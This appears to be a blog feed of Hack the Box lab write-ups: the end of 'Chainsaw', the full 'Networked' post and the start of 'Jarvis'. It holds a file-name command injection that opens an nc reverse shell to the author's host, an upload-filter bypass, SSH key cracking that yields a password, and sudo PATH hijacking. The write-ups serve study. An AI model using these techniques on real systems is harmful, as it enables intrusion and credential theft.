\"0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029\" # contract contract = w3.eth.contract(abi=abi, address=address) print(\"Contract:\", contract) print(\"Blocknumber:\", w3.eth.blockNumber) tx_hash = contract.functions.setDomain(\"google.com\").transact() w3.eth.waitForTransactionReceipt(tx_hash) getexample = contract.functions.getDomain().call() print(\"GetExample:\", getexample) We are able to then test, connect and leverage the functions of the smart contract. Awesome! I had a hunch here that whatever address was present in the store variable would actually be pinged. Decided to test this out by setting up wireshark and attempting to modify the store to point to my IP. Sure enough that also worked. So we know that we know we can control the variable and that the functionality gets called under the hood, how can we leverage this to our advantage. Let's see if we can chain together a nc call back to a local listener. This is assuming several things including that nc is installed on the host, however figured this would be the path of least resistance so let's give it a shot. Beautiful! Initial foothold established. Unfortunately administrator did not end up being the true \"user\" in this case so we need to pivot further for our first flag. User exploitation Checking administrator's homedir we see quite a few things. Right off the bat we see some users within the csv file. administrator@chainsaw:/home/administrator$ cat chainsaw-emp.csv cat chainsaw-emp.csv Employees,Active,Position arti@chainsaw,No,Network Engineer bryan@chainsaw,No,Java Developer bobby@chainsaw,Yes,Smart Contract Auditor lara@chainsaw,No,Social Media Manager wendy@chainsaw,No,Mobile Application Developer Digging slightly deeper we find a folder which includes an interesting python script. administrator@chainsaw:/home/administrator/maintain$ cat gen.py #!/usr/bin/python from Crypto.PublicKey import RSA from os import chmod import getpass def generate(username,password): \tkey = RSA.generate(2048) \tpubkey = key.publickey() \tpub = pubkey.exportKey('OpenSSH') \tpriv = key.exportKey('PEM',password,pkcs=1) \tfilename = \"{}.key\".format(username) \twith open(filename, 'w') as file: \t\tchmod(filename, 0600) \t\tfile.write(priv) \t\tfile.close() \twith open(\"{}.pub\".format(filename), 'w') as file: \t\tfile.write(pub) \t\tfile.close() \t# TODO: Distribute keys via ProtonMail if __name__ == \"__main__\": \twhile True: \t\tusername = raw_input(\"User: \") \t\tpassword = getpass.getpass() \t\tgenerate(username,password) I decided to get it a shot and see what gets generated. administrator@chainsaw:/home/administrator/maintain$ python gen.py python gen.py User: bobby bobby Password: test As a result ended up generating an SSH keypair. Transferring them over to my host I took a close look. administrator@chainsaw:/home/administrator/maintain$ cat bobby.key cat bobby.key -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,13F6FF16239B8B00 orMpOEVQXh7l5eJORA/NTWq6VuH7JXZOIssI0Kcak2tQt8Juh9pzh16vD4YBB9QN B4p+Y8mk6/Lck3L38CWTGWL497vxDjbaLIwFj/iobKXUahCGDsKnh94nKRo2Dbdi oZgzDISqAdw+cQ5H9ilBtxjiBhPm3zLdhcslIfH2p6eSriMtMmm/GYuJSMYEo/1/ 9mJ0zD5wYyPgdJuExIIasLKMKNu8sOyUqHH6VhEIprQ+DjvqpGmJhmXC8UhF1NIT xPa7zHVh9cW5Cd9zXRFNsuMHvK1XDEuUc7u7DGAsbV9P2/jHQpecq5ng5OecIEER cgR0M2VVtsbCvSjACzVxkMscHd/ybcqicfQL3a3vCJg+uC0/yG8H8EAxEUPxeDP8 cm1x/PVmZSjdnNwOPHwdkGZ83HKknb4NIojXJWDy+CwPGOUuNfyQ+7oouAZ0abon kJqPjQm7CoZ+o+6tgIE8SYa682k3p9CqzTNS0BvFyc2B/1HLo0xqcaNuV9V3TMOf 8J3mFpv2/P4+4NG8ur7uc/2zx7HD0L5qwI32oEce985DDvVHMpbTQOVoj6Dp5533 TzBWj+vR+F1scotNc6DHAhzM3h/C8gc6UB/APtToXwpUdjw5JfCH7u/K9nhM079v WWj946a6uUL90016FTSCel41wAaEdOqeMSNrTrEZtH/WANz0+a4Qq2zsKCq9sbdq Cp7BhKaGloPfSM0XKkaZBe+bUlzCQS1G5iqGcBz4gxKTJzATSM7NjL8ZFhwV7Atn yQp9zcd+DcicAgjCFwcLD6UA71rGVXInNHk3N0ecOq+ITLJrs7uQZJbdDNczgv0G +jyrFb8mx2sCCBdvEIpiXRXcnuO0xB+tQK/bwnxyj5y/0NvzVkCpvbh0gvVio/jb 0q399sqt8L9PKcVEMPpLd/R8zPaaozqHIBHmFoE/3v6gvUySZXOxiIZ7rX9zf6jX ZTU8OnAN9uGrUbMykP6w44Lu8o9/Zu+llAxa9kSFhpbGcE4f3/9ZWhdwEa45L4YD TcBa0A7VXxhS2C5vIpnTVrmAaiKaaWqT0kHZIl9gGV0TrdlSos6bgV7cL178S8v+ N6uVvOUmMLvoinVuJkeBNxuQjAsSOW6b2b1UWQWDVuBCs4DVxxna9e33X7Scq/dd Ab8tNYWf0tmV0ePxTzoKy8BPETjx6dbmE07LE28b7rU2GdGyhol/zvLAw78lp/Xo PTx1zZ2wnjqXUwpreLgYmFs2cUMSPxZH42klm8PApPfRCUQLEGCZv/y7TK5PRK5/ BXg+QRWYh1IQUWdWRGLCxGmiiwArc9jcZ9JIOVsct5d8f0OJ5gZzILKsC3EPHW0D 4BU8VnhC4s9a+pcbbETt2CYfcnjH0XHqFgFwf9BYUitViic/WAPzAIcTOXhmfOBY RSVkPSBUkZZm2PaRmgmhS5JYSvYk25QUhoCGS+oc8U02fSH/S3McAiC4gsDRYZ06 0XNIoPqI134oVaMNb61+jB8jpmS5ZgcgVvOtXHgmZlL3DPhGFaicQ7D1WeMA/ZJi tyzt926/CG3JTfJQYOQ011RucHs1oQPaOznhi2tVY7iU7pIbGlvXtw== -----END RSA PRIVATE KEY----- Ok, so the private key is password protected by the password we passed in the gen.py script. Additionally it looks like it's DES-EDE3-CBC encryted with a defined salt, in this case 13F6FF16239B8B00. I went through a few iterations of gen.py to see if there were any flaws with how it generated the keypairs. While the settings were the same the salt seems to be random on each pair. Still testing a few things I found sshng2john to generate a JTR hash to crack. Sure enough I was able to crack my test keypair. root@kali:~/Desktop/HTB/Chainsaw# python sshng2john.py test1.key &gt; test1.hash test1.key:$sshng$0$8$D7EA33696C000F9E$1200$1e218393c610821adce74815068730e4bafac5f8d1bb84cc21c340b2e2b286bf53e3c3c2f851dedd95e0d71c96b949574f285470d86440c1096d71053e6a388f2e12718497cb4ae1ac5351bbf896b472ef18a57485acf30d09e89be2f76c209fa9f607be76c59482b76bdebf9da88998792f8caae66f09ff493b4b9698501431ef5c3e933a85c2ade44f15d8ef4b34542cbbd420e39e9f4173d2b9c10312f09326c546f7669d0f00e35207c22b5c32b83706bae2a5203405ae96a7e95610b9bb0f5c2be229296954a9bb12078815ff7eb14e7b6b5297af6d37cdb5877572ca66c252beeafa6e97ae75911d46de7530ec01955af76f33a70618e77405aec6543e5f30c8aa6243d2022904241eadcaf73f1778f7629cc09152690cc49d16433f7b8e83c79ecb362de89ccf22d0181ef816b449a2723e16a6d3de5470df5a54326198ca0478639c4ff9f40954297d5aba0181feb67453eafc955dc67d7d431f8277f21c90398bc11a4775c35fb8d98b9a8632f1678403129f0b959b20561d119826ecc668d502cfa54156c43e4b6c7757ed888915445763e14bd3e4753cadd7ae269dacdc25ddde9902c30f65931b96589746526c0014080fb6785d3cf7cdfdfb6932848cc6602f2961f6cc5247fbc1ea098062a9b64aa0585fc35a167e7eeebf02260264f286befd06ba91cdae24b952629eb42a95225c08a7edd8c88ebaa556b0e12503432dcbfbd5ae3f8d4dfe961af798b031b3a74742b00a6ac1f77d48fc8da1d3fdf393bf840110d4574153c97159524e68d2db1e236ac639709bb0b69dc15cb7940f7a4f501a5c352c5e85e3be718eef6fdcfb81c6bcbfea09a6bf862d2acb0e3b2f3bb2ee0dce4483eb6e0696d6f634b0be7e2a7535a79e77de1824c74d40c673462889c54d06c1a46cc6b5ea6953073e49da6183f7c047a450d947d6a4aad9be78d2e2752af4e2bb2978be2a675d5c19fb0cd29073032fbff643310cbec601f3b5c3cf3c4ea021c1b079ede391f5f60d0440aa8aacb56e5aea0d4ecfe48dc0feab70494d1e4cee55f3c03ccfc55eb1b26e1d22f15a249b7c48bc6f9c51fd5241d5b782b91edb0f0fbbbe00eba08d5f07935a3121b2e5256707e8939fa9c423b61d819f830597811a9ba0f7906f9017b7415216f56765954510db03c18718ed49f7a5faf79d0a19e275e8ed80aec1e7fac86097ef008031575bff346c64ab2cf7fa488ef2de317631e454c347ef6c4797d64b279c1fdaea1251d999a3446e61002cd6f80502514741b44fe5b111fd937254fb9c0b0301a1e1f5322f3cd182fc29c1d32298c7f914d4f674ffdb002a1bcf81c5e6a28fb1b3f6ea6a74025602e4d27bed1af700730596c96fd5edaae2c7593896cb2d55e0e3bd4d59319f7ce73ad8fd62020daee554a4eff444cf158d952f96539d11cf142985c58ea5f7524afef72da00794323908a20057e1b1de2e3632c2f7e0d88a1aea4704f9c58b303d80bff273519096311bd22e6b6c9b98f9912ce6128cda8c030e5025b27db2eab284b6ce3224759c74f68bf80b65109a0cd6decf42e08c6c0985d84b7397c137f2122abe077c8642a6d4c058ddbf1e38c1125d84f4646a7e4a5fbce8f90be2e77cbf512232a0051817ab3279fcde71cb9fb4800b5a14eff085eac1c46b18e68081aeff74cb4a518b57e009564bc2a483 root@kali:~/Desktop/HTB/Chainsaw# john --wordlist=/root/Desktop/rockyou.txt test1.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status test1 (test1.key) While we had access to the public keys in the pub/ folder on the host, the private keys were not found. There was however a comment in the script of \"TODO: Distribute keys via ProtonMail\". Let's see if there are any crumbs left around in the host. From the home directory I noticed a .ipfs folder. Taking a peek within the folder there are many blocks. Instead of checking block by block let's just dump everything and take a look at what we can see. Now we're talking! Ok, looks like they're base64 encoded, so let's get the ouput. root@kali:~/Desktop/HTB/Chainsaw# cat bobbymsg1.txt | base64 -d &lt;div&gt; Bobby, &lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; I am writing this email in reference to the method on how we access our Linux server from now on. Due to security reasons, we have disabled SSH password authentication and instead we will use private/public key pairs to securely and conveniently access the machine. &lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; Attached you will find your personal encrypted private key. Please ask&amp;nbsp;reception desk for your password, therefore be sure to bring your valid ID as always. &lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt; Sincerely, &lt;br&gt;&lt;/div&gt;&lt;div&gt; IT Administration Department &lt;br&gt;&lt;/div&gt; root@kali:~/Desktop/HTB/Chainsaw# cat bobbymsg2.txt | base64 -d -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,53D881F299BA8503 SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk 7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6 fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2 yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6 G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0 hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi 4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/ edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX 15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w== -----END RSA PRIVATE KEY----- Perfect, with bobby's private key we should be able to reproduct the sshng2john to generate the password hash and crack it using JTR. root@kali:~/Desktop/HTB/Chainsaw# python sshng2john.py bobby.key 24 bobby.key:$sshng$0$8$53D881F299BA8503$1192$49e08d630fc1b173f242ad4744b1042a188d2157ed65a83339c73ae1f7f5229268f48786ed9ff38febf574221d7a3ba4ee4b5015ccd396db67ac88fa99d05beab9cde82b0fd2f6f3f4dcd1072835a3a71219dacbd8498937f792c43e0058b7339f7d853d8d158e5215ae1e2b8e145edb03cda2001c8821e6646101d2d82fdbf7b2c44eb755c473af1242625fa1bd267a7efb125fc03842beeb6dff5f9f3e0f226220bab177561426765126cc3453e26fe9a9fdd3986024f7ec2b8aa9e438315023ed88d5c3dbf094612d2cf7a720775ffb863939d8a78684abe010676bc4273dc57d7f525fd93b75de8a699b52033aa2c3df35112f390e4f4d528f2e2f19d9030dec17b3f3e04b89d07a68d5e66062d2b3bc32abaf0f2ea3844269dc7b2874538a729776e1f39c60354113b3656ef11371c42f7bf147d80c57c8094470d90cc23dc65c3df505707313dc15adf5033576ca9deaef297de7848230eb62e110b7678c944e30e41dd1d0a0470689e14e594fa2d688a3e1caf1d4b6ced8bb7c9c72ba1b509cabb88ea27e11b1346556bbfc962206af19e1398dbde5ef5dae5ec15cfa49adbc2ca3cc711e54f7df7dd853d7638502cda79fb61f8fa2ea6994dedda8813a0fe2c915728a839420be8fa8433a5e1ba43f6de93209bab5b19a91a03717acabc36c01e9ed6ec0fec65e16eaae66b8b2509a3ff142bac769c1190c623c916bd9135885995903ff10519f0a0667986d0f28a52cfa65f51f8387b6f2de53e6f247fcb509c7b2aa511dc7b20451699ead0051d10a926d4b44c2c03d820b6e52868f0ac2a91bc129130897ab49883f3b34ce8906843274e11ca67fba0d4fb601cb5e8dbbabd1a33be08c9e7a7ac629249921932c776913486531cbda3fc4f283914c3f4855324a69b08aa8852fa3da0e0c564301f1b71be61cc84be9c8ad35d2304dc393489733991da927192884bac7ed8ad2d9a94ab0cd05a45c26773d7f5c3485d83ee26dffd6d660312f952612a3b485422e5b57511701e336f6a84a4f9fac0a7a89ce883d84a6768f06618cbca57bdcab07d1a7162500266ee058a2ea1622e16a614f7645603af0ed2b602b4e246c3ed090f78dabd12fd489f69d57731473c887acfe7e6a5b81f5a07a52c77367ad489638fb90846e401c6045273d663d48f389eea794efe6ff7aace129b9299db96688ad5fdeb78e3366142b2f1a6a57a19c9626926af7b77a8647384011372473c1cb135d5d184fa5e1b6ba58136ed791a811602ccf3b4cb885757a69edf7ba0c2269dfa27b4e61dc01ebfda80aec894e27fc570fd6b56a9935ba5ecbdef4e1af666a9ffe6c3a9e410e35f81f000836ca5a8bec8325a2fd4a62313ea6eab5fe14fe43e44f33ad8b679e6a88a3bbf11eab41594c636a109d9c1ae4605ce5e8a591805cf1dde4dab65656cabe24b2f166b686d891954040f0015b3fa01e9b8a96baa10bd00dcebfc99fee597c6d369a817f79d2f56e9f473d1238ec3caf2f0cd3d7fe4bf59cfa63ed4ccde9dd4e2dcaaf343f61c7ebe58011bd8c8c2db2e3304b4f52f262638d2eda79956fa42aa62cb6cebfda325869ba964f93fc6df282a1282fa5f6680e4ec01762309b4e62d7cd5ad7d79536d7405dc441540dc8b1362c13a68052e8c7f108e67037fd59bf4984f04088fb8e0b72a56ddf root@kali:~/Desktop/HTB/Chainsaw# john --wordlist=/root/Desktop/rockyou.txt bobby.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status jackychain (bobby.key) Warning: Only 2 candidates left, minimum 4 needed for performance. 1g 0:00:00:08 DONE (2019-10-27 12:22) 0.1172g/s 1681Kp/s 1681Kc/s 1681KC/sa6_123..*7¡Vamos! Session completed And with that we should be able to use the private key to ssh in as bobby. Root exploitation Now that we have user access we need to start enumerating for a vector to root. bobby@chainsaw:~$ ls -latr total 52 -rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile -rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc -rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -&gt; /dev/null drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local drwxr-xr-x 4 root root 4096 Dec 12 2018 .. drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java -rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects -r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 . Digging slightly deeper into the projects folder we happen upon a nice SUID file. Very interesting! Let's pull that file over to our local instance. My thoughts at this point were we are going to need to do a little bit of RE to make the jump. I booted up ghidra to take a look at the decompile... and was thoroughly surprised at what I found. Facepalm moment here is where I spent an hour or two trying to figure out how I could overwrite the ChainsawClub call. I even went so far as to modify the hex of the binary and upload it back to the host. Clearly that did not get me very far. Spent a bit of time taking a step back to tackle it at a different angle.This article was among those I perused and that's when it hit me. The ChainsawClub portion was full defined, but sudo itself was loosely defined! Since the binary is calling setuid(0) then calling sudo we should be able to inject our own sudo exploit variant in through $PATH hijacking! Bam, attack vector identified. Excellent, now all that is left is to get the root.txt flag! Right? Maybe? I have to admit, this part of the box I did not appreciate. For as good as the user portion of working with smart-contracts was this last bit for the root.txt flag was very contrived. With that said I did expand my knowledge on the following technique and I cannot complain too much as ultimately that is the purpose of going through all this - to learn new concepts and reinforce old ones. This part was not extremely obvious, however the HTB forums did have one excellent hint - \"Don't slack off\". After a little bit of searching read a few good articles, including this one, where they explained firstly what slack space is and ultimately how to use it for hiding data. Before going to explain slack space, one should know what blocks (on Linux) and clusters mean (on Windows). Blocks are specific sized containers used by file system to store data. Blocks can also be defined as the smallest pieces of data that a file system can use to store information. Files can consist of a single or multiple blocks/clusters in order to fulfill the size requirements of the file. When data is stored in these blocks two mutually exclusive conditions can occur; The block is completely full, or the block is partially full. If the block is completely full then the most optimal situation for the file system has occurred. If the block is only partially full then the area between the end of the file the end of the container is referred to as slack space With theory understood found a few github repos for bmap. Unfortunately the first repo I cloned did not end up working properly, but quickly found this repo that did. root@kali:~/Desktop/HTB/Chainsaw# git clone https://github.com/CameronLonsdale/bmap.git Cloning into 'bmap'... remote: Enumerating objects: 46, done. remote: Total 46 (delta 0), reused 0 (delta 0), pack-reused 46 Unpacking objects: 100% (46/46), done. root@kali:~/Desktop/HTB/Chainsaw# cd bmap root@kali:~/Desktop/HTB/Chainsaw/bmap# ls bmap.c bmap.spec dev_builder.c index.html LICENSE man NOTES README.md slacker-modules.c bmap.sgml.m4 COPYING include libbmap.c Makefile mft README slacker.c root@kali:~/Desktop/HTB/Chainsaw/bmap# make .... root@kali:~/Desktop/HTB/Chainsaw# scp -i bobby.key bmap bobby@10.10.10.142:/home/bobby/bmap Enter passphrase for key 'bobby.key': bmap 100% 62KB 805.4KB/s 00:00 And just like that Chainsaw is in the books. Thanks folks, until next time!" }, { "title": "Hack the Box - Networked", "url": "/hack-the-box/2019/11/16/htb-machine-networked/", "categories": "hack-the-box", "tags": "htb, cron, sudo, dirb", "date": "2019-11-16 09:00:00 -0500", "content": "Introduction Networked was a good introduction to the world of HTB. Generally discussed as the easiest of the active boxes at time of retirement there is nothing particularly complex with getting to root. Initial foothold involved byassing upload restrictions to get a reverse shell initiated. User pivot required abusing an existing cron job running as our user guly. Finally, root required leveraging a sudo script and escaping the constraints to execute arbitrary code as root. Initial Recon Kicking it off with an NMAP scan. Let's pop open the browser and take a look at what we can find. Hum, didn't see very much so let's see if directory buster can discover anything further for us. Awesome, look's like we potentially have some capability to upload files. Let's try uploading a php reverse shell from pentestmonkey. After attempting a few different variants including tacking on .jpg to my .php it was still being blocked. Taking a step back I explored the remainder of the identified locations and backup provided an interesting item. Well now isn't that interesting! A backup of the files being used for the site, including upload.php. Perfect, now we can take a look at restrictions imposed on the potential upload. cat upload.php &lt;?php require 'lib.php'; define(\"UPLOAD_DIR\", \"uploads/\"); if( isset($_POST['submit']) ) { if (!empty($_FILES[\"myFile\"])) { $myFile = $_FILES[\"myFile\"]; if (!(check_file_type($_FILES[\"myFile\"]) &amp;&amp; filesize($_FILES['myFile']['tmp_name']) &lt; 60000)) { echo '&lt;pre&gt;Invalid image file1.&lt;/pre&gt;'; displayform(); } if ($myFile[\"error\"] !== UPLOAD_ERR_OK) { echo \"&lt;p&gt;An error occurred.&lt;/p&gt;\"; displayform(); exit; } //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile[\"name\"]; list ($foo,$ext) = getnameUpload($myFile[\"name\"]); $validext = array('.jpg', '.png', '.gif', '.jpeg'); $valid = false; foreach ($validext as $vext) { if (substr_compare($myFile[\"name\"], $vext, -strlen($vext)) === 0) { $valid = true; } } if (!($valid)) { echo \"&lt;p&gt;Invalid image file2&lt;/p&gt;\"; displayform(); exit; } cat lib.php &lt;?php ... function file_mime_type($file) { $regexp = '/^([a-z\\-]+\\/[a-z0-9\\-\\.\\+]+)(;\\s.+)?$/'; if (function_exists('finfo_file')) { $finfo = finfo_open(FILEINFO_MIME); if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system { $mime = @finfo_file($finfo, $file['tmp_name']); finfo_close($finfo); if (is_string($mime) &amp;&amp; preg_match($regexp, $mime, $matches)) { $file_type = $matches[1]; return $file_type; } } } if (function_exists('mime_content_type')) { $file_type = @mime_content_type($file['tmp_name']); if (strlen($file_type) &gt; 0) // It's possible that mime_content_type() returns FALSE or an empty string { return $file_type; } } return $file['type']; } function check_file_type($file) { $mime_type = file_mime_type($file); if (strpos($mime_type, 'image/') === 0) { return true; } else { return false; } } Now with an understanding of what the restrictions are we are able to follow along with this page and insert a GIF89a; at the top of the php reverse shell. It was successful and going to the photos.php page with a reverse listener active we are able to get our initial foothold. User exploitation Unfortunately this shell did not grant us access to the user flag so we need to figure out a pivot to the true user. After some initial enumeration I stumbled onto the following cronjob. sh-4.2$ cat cron\t cat crontab.guly */3 * * * * php /home/guly/check_attack.php Now checking what the check_attack.php script actually does... sh-4.2$ cat check\t cat check_attack.php &lt;?php require '/var/www/html/lib.php'; $path = '/var/www/html/uploads/'; $logpath = '/tmp/attack.log'; $to = 'guly'; $msg= ''; $headers = \"X-Mailer: check_attack.php\\r\\n\"; $files = array(); $files = preg_grep('/^([^.])/', scandir($path)); foreach ($files as $key =&gt; $value) { \t$msg=''; if ($value == 'index.html') { \tcontinue; } #echo \"-------------\\n\"; #print \"check: $value\\n\"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo \"attack!\\n\"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec(\"rm -f $logpath\"); exec(\"nohup /bin/rm -f $path$value &gt; /dev/null 2&gt;&amp;1 &amp;\"); echo \"rm -f $path$value\\n\"; mail($to, $msg, $msg, $headers, \"-F$value\"); } } ?&gt; The interesting part is the exec line where we control the contents of $value. Carefully crafting a test file we should be able to arbitrarily execute code as the user guly. Let's give a shot. sh-4.2$ touch \"no; nc -c bash 10.10.xx.xx 31337\" touch \"no; nc -c bash 10.10.xx.xx 31337\" Now with another nc listener setup, we wait for the cronjob to kick off. With that user is done. Unto root! Root exploitation Root was rather simple comparatively. With our guly shell we kick off another round of enumeration. Quickly find that there is a root sudo rule in place. sudo -l Matching Defaults entries for guly on networked: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=\"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\", env_keep+=\"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\", env_keep+=\"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\", env_keep+=\"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\", env_keep+=\"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\", secure_path=/sbin\\:/bin\\:/usr/sbin\\:/usr/bin User guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh And taking a look at the changename.sh script: cat /usr/local/sbin/changename.sh #!/bin/bash -p cat &gt; /etc/sysconfig/network-scripts/ifcfg-guly &lt;&lt; EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp=\"^[a-zA-Z0-9_\\ /-]+$\" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do \techo \"interface $var:\" \tread x \twhile [[ ! $x =~ $regexp ]]; do \t\techo \"wrong input, try again\" \t\techo \"interface $var:\" \t\tread x \tdone \techo $var=$x &gt;&gt; /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 Now giving it a test run let's see what happens. sudo -u root /usr/local/sbin/changename.sh interface NAME: test interface PROXY_METHOD: test interface BROWSER_ONLY: test interface BOOTPROTO: test ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization. Ok nothing too telling here. So let's go back to the code. Seems to be some general regex to avoid special characters that would allow encapsultation. After a few different tests I realized that \\ escaped characters were being interpreted well. So let's see if we can chain together some execution as root using the technique. And with that Network is in the books! Thanks folks, until next time." }, { "title": "Hack the Box - Jarvis", "url": "/hack-the-box/2019/11/09/htb-machine-jarvis/", "categories": "hack-the-box", "tags": "htb, sql-injection, systemctl, suid", "date": "2019-11-09 09:00:00 -0500", "content": "Introduction A medium level difficulty machine from HTB Jarvis involving SQL Injection and a web-shell into sudo and filter bypass to user pivot with a final systemctl abuse to root pivot. I will step through the methodology, approaches and musings from start to root flag. Initial Recon As usual, let 